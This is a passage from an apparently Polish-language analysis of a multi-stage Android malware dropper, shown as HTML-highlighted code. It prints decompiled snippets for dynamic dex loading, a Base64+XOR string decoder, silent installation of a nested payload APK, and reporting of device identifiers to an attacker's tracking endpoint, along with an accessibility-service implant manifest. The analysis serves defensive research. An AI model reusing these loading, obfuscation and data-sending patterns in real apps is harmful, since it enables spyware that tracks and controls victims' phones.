&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stringBuffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Mechanizm wczytywania jest podany wprost (DexClassLoader):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;DexClassLoader&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WeakReference&lt;/span&gt; &lt;span class="n"&gt;weakReference&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;NoSuchMethodException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Constructor&lt;/span&gt; &lt;span class="n"&gt;constructor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DexClassLoader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConstructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ClassLoader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;objArr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;objArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;objArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;objArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;objArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ClassLoader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;objArr2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;DexClassLoader&lt;/span&gt; &lt;span class="n"&gt;dexClassLoader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DexClassLoader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;objArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;dexClassLoader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;A dynamiczna analiza próbki potwierdza dokładną ścieżkę wywołania:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;tag&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;DYNAMIC_CODE_LOADING&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;details&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;loader&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;DexClassLoader&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;dexPath&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/data/user/0/com.junk.knock/app_tell/tWyWeG.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;optimizedDir&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/data/user/0/com.junk.knock/app_tell&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;libraryPath&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Etap 2, instalacja: payload_grass.apk i śledzenie ofiary&lt;/h4&gt;
&lt;p&gt;Załadowany instalator (&lt;code&gt;com.gallery.oppose&lt;/code&gt;) przechowuje wiele ważnych wartości w formie Base64+XOR. Po odkodowaniu ujawniają:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;target package: &lt;code&gt;com.core.town&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;setup URI: &lt;code&gt;core://setup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;tracking endpoint: &lt;code&gt;https://jeliornic.it.com/api/v1/tracking/events&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;build ID: &lt;code&gt;h8zskxh6kjv&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sam dekoder jest bardzo prosty:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArrDecode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i2&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArrDecode&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CollectionsKt___CollectionsKt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toByteArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Charsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Instalator weryfikuje czy funkcje ułatwień dostępu są już uruchomione:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Cursor&lt;/span&gt; &lt;span class="n"&gt;cursorQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getContentResolver&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content://&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPROVIDER_AUTHORITY&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;zAreEqual&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;areEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cursorQuery&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isNull&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cursorQuery&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;enabled&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Zapisuje zagnieżdżony plik .APK i uruchamia instalację:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;opposeActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCacheDir&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;installer_&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;.apk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;inputStreamOpen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;opposeActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAssets&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;apk/payload_grass.apk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;fileOutputStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;opposeActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;runOnUiThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;w4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;opposeActivity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po instalacji przekazuje kontrolę do kolejnego etapu za pomocą deep linku:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;openSetupUrl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strUnwrap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OpposeUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OUTSIDE_TOWARD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;GARMENT_RIDE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.VIEW&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strUnwrap&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;268435456&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Na tym etapie również akcje użytkownika są przesyłane do serwera atakującego. Dane zawierają build ID, package name, wersję aplikacji, ID urządzenia, wersję systemu Android i model urządzenia:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="nf"&gt;createEventData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;JSONException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NotificationCompat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CATEGORY_EVENT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eventName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;build_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OpposeUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VIVID_FIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;GARMENT_RIDE&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;package_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_ID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app_version&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BuildConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VERSION_NAME&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getDeviceId&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Instalator wprost monitoruje spełnienie co najmniej poniższych warunków:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sendEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;accessibility_enabled&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="n"&gt;sendEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app_first_launch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="n"&gt;sendEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;install_permission_granted&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="n"&gt;sendEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;installation_success&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Etap 2: com.core.town&lt;/h4&gt;
&lt;p&gt;Zagnieżdżony plik APK nie jest jedynie atrapą mającą na celu odciągnięcie uwagi. Jego manifest deklaruje implant oparty na usługach ułatwień dostępu, mechanizmy persystencji, przechwytywanie ekranu, wiadomości oparte na Firebase, a także dostawcę wykorzystywanego przez instalator.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;service&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town.service.RemoteAccessibilityService&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.permission.BIND_ACCESSIBILITY_SERVICE&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:foregroundServiceType=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;dataSync&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.accessibilityservice.AccessibilityService&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta-data&lt;/span&gt;
        &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.accessibilityservice&amp;quot;&lt;/span&gt;
